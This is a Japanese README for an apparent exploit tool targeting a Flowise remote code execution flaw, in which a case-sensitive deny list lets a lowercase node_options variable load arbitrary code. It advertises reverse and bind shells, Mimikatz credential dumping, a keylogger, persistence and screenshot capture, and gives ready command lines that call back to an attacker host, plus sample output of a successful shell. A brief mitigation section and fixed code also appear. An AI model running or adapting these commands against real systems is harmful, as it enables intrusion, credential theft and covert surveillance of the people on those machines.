Flowise CVE-2026-58057 - Windows Remote Code Execution Exploit
📋 概要
これは、Windows プラットフォーム上の Flowise における重要なリモートコード実行脆弱性 CVE-2026-58057 に対するプロダクショングレードのエクスプロイトです。この脆弱性は、大文字小文字を区別する環境変数検証に起因し、小文字の node_options をブロックできないため、攻撃者が NODE_OPTIONS の拒否リストをバイパスし、カスタム MCP stdio 設定を通じて任意のコードを実行することを可能にします。
このエクスプロイトは、モジュール式アーキテクチャ、包括的なエラーハンドリング、複数のペイロードタイプのサポートにより、プロフェッショナルなソフトウェアエンジニアリングの実践を示しています。
⚠️ 免責事項
重要: このツールは、認可されたセキュリティテスト、ペネトレーションテスト、教育目的のみで提供されています。著者は、本ソフトウェアの誤用または損害について一切の責任を負いません。システムをテストする前に、必ず適切な許可を得てください。
🔍 技術的詳細
脆弱性の根本原因
# 脆弱な検証(大文字小文字を区別)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # 正確な大文字の一致のみをブロック
raise ValueError(f"Modification not allowed")
エクスプロイトの仕組み
- 攻撃者が Flowise に認証する
- カスタム MCP stdio ノードを作成/変更する
- 小文字の
node_options 環境変数を注入する
- 値を
--require malicious-loader.js に設定する
- MCP stdio が実行されると、Node.js がローダーを実行する
- 任意のコード実行が達成される
✨ 機能
コア機能
- ✅ リバースシェル - 攻撃者マシンに接続を戻す
- ✅ バインドシェル - ターゲット上でリスニングポートを開く
- ✅ コマンド実行 - 任意のシステムコマンドを実行する
- ✅ ファイルアップロード - ターゲットシステムにファイルをアップロードする
- ✅ 永続化 - 複数の永続化メカニズム
- ✅ 情報収集 - システムインテリジェンスを収集する
- ✅ 資格情報ダンプ - Mimikatz 統合
- ✅ スクリーンショットキャプチャ - デスクトップのスクリーンショットを取得する
- ✅ キーロガー - キーロギング機能のインストール
技術的特徴
- 🔐 複数の認証方法 - API キーまたはユーザー名/パスワード
- 🔄 自動リトライロジック - ネットワーク問題に対する耐性
- 🧹 自己クリーン - ターゲットからローダーファイルを削除
- 🌐 クロスプラットフォーム - Windows/Linux/macOS で動作
- 🎨 カラー出力 - 読みやすさの向上
- 📊 詳細デバッグ - トラブルシューティングのための詳細ロギング
📦 インストール
前提条件
- Python 3.6 以上
- pip(Python パッケージマネージャー)
クイックインストール
# リポジトリのクローン
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# 依存関係のインストール
pip install -r requirements.txt
# または最小限のインストール
pip install requests urllib3
Docker インストール(オプション)
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
🚀 使用方法
コマンドラインオプション
python3 exploit.py --help
認証オプション
ペイロードオプション
実行オプション
| オプション | 説明 |
|---|
--interactive | インタラクティブシェルを起動 |
--verbose | デバッグ出力を有効化 |
--timeout | リクエストのタイムアウト(秒) |
|
📝 使用例
1. 基本的なリバースシェル
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
2. インタラクティブなリバースシェル
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
3. コマンド実行
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
4. ファイルアップロード
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
5. 資格情報ダンプ(Mimikatz)
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
6. 永続化のインストール
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence
7. 情報収集
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload info_gather
8. スクリーンショットキャプチャ
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload screenshot
🎯 ペイロードタイプ
🛡️ 緩和策
Flowise のアップグレード
# バージョン 3.1.3 以降にアップグレード
npm install -g flowise@latest
# または
docker pull flowiseai/flowise:latest
回避策
- カスタム MCP 設定へのアクセスを制限する
- ネットワークのセグメンテーションを実装する
- 不審な環境変数を監視する
- Web アプリケーションファイアウォール(WAF)を使用する
修正されたコード
# 修正された検証(大文字小文字を区別しない)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous: # 大文字小文字を区別しないチェック
raise ValueError(f"Modification not allowed")
📊 出力例
成功したエクスプロイト
[14:32:15] ℹ エクスプロイトシーケンスを開始...
[14:32:15] ℹ 認証を試行中...
[14:32:16] ✓ API キーで認証されました
[14:32:16] ℹ reverse_shell ペイロードの実行を準備中...
[14:32:16] ℹ 環境変数を注入中...
[14:32:17] ℹ ペイロードの実行をトリガー中...
[14:32:19] ✓ ペイロード 'reverse_shell' が正常に実行されました!
[14:32:19] ℹ リバースシェルリスナーが 192.168.1.50:4444 で準備完了
詳細モード
[14:32:15] 🔍 リトライ戦略でセッションを作成しました
[14:32:15] 🔍 既存のワークスペースを使用: ws_123456
[14:32:16] 🔍 ローダー書き込み: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio 設定を更新しました
🐛 トラブルシューティング
一般的な問題
デバッグコマンド
# 詳細ロギングを有効にする
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose
# 接続をテストする
curl -k https://localhost:3000/api/v1/version
# Python バージョンを確認する
python3 --version
📁 ファイル構成
flowise-CVE-2026-58057-exploit/
├── exploit.py # メインのエクスプロイトスクリプト
├── requirements.txt # コア依存関係
├── README.md # このドキュメント
├── LICENSE # MIT ライセンス
└── CHANGELOG.md # バージョン履歴
🤝 貢献
- リポジトリをフォークする
- 機能ブランチを作成する (
git checkout -b feature/amazing)
- 変更をコミットする (
git commit -m '素晴らしい機能を追加')
- ブランチにプッシュする (
git push origin feature/amazing)
- プルリクエストを開く
📜 ライセンス
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細については LICENSE ファイルを参照してください。
🏆 謝辞
- 製品の提供元である FlowiseAI
- 類似の脆弱性を発見したセキュリティ研究者
- テスト方法論を提供するペンテストコミュニティ
🔗 参考文献
📧 連絡先
作者: Sudeepa Wanigarathna セキュリティ研究者 & ペネトレーションテスター
⭐ サポート
このツールが役立つと思われた場合は、以下をご検討ください:
- ⭐ GitHub でリポジトリにスターを付ける
- 🔔 更新のフォロー
- 📝 問題や提案の報告
セキュリティコミュニティのために ❤️ を込めて作成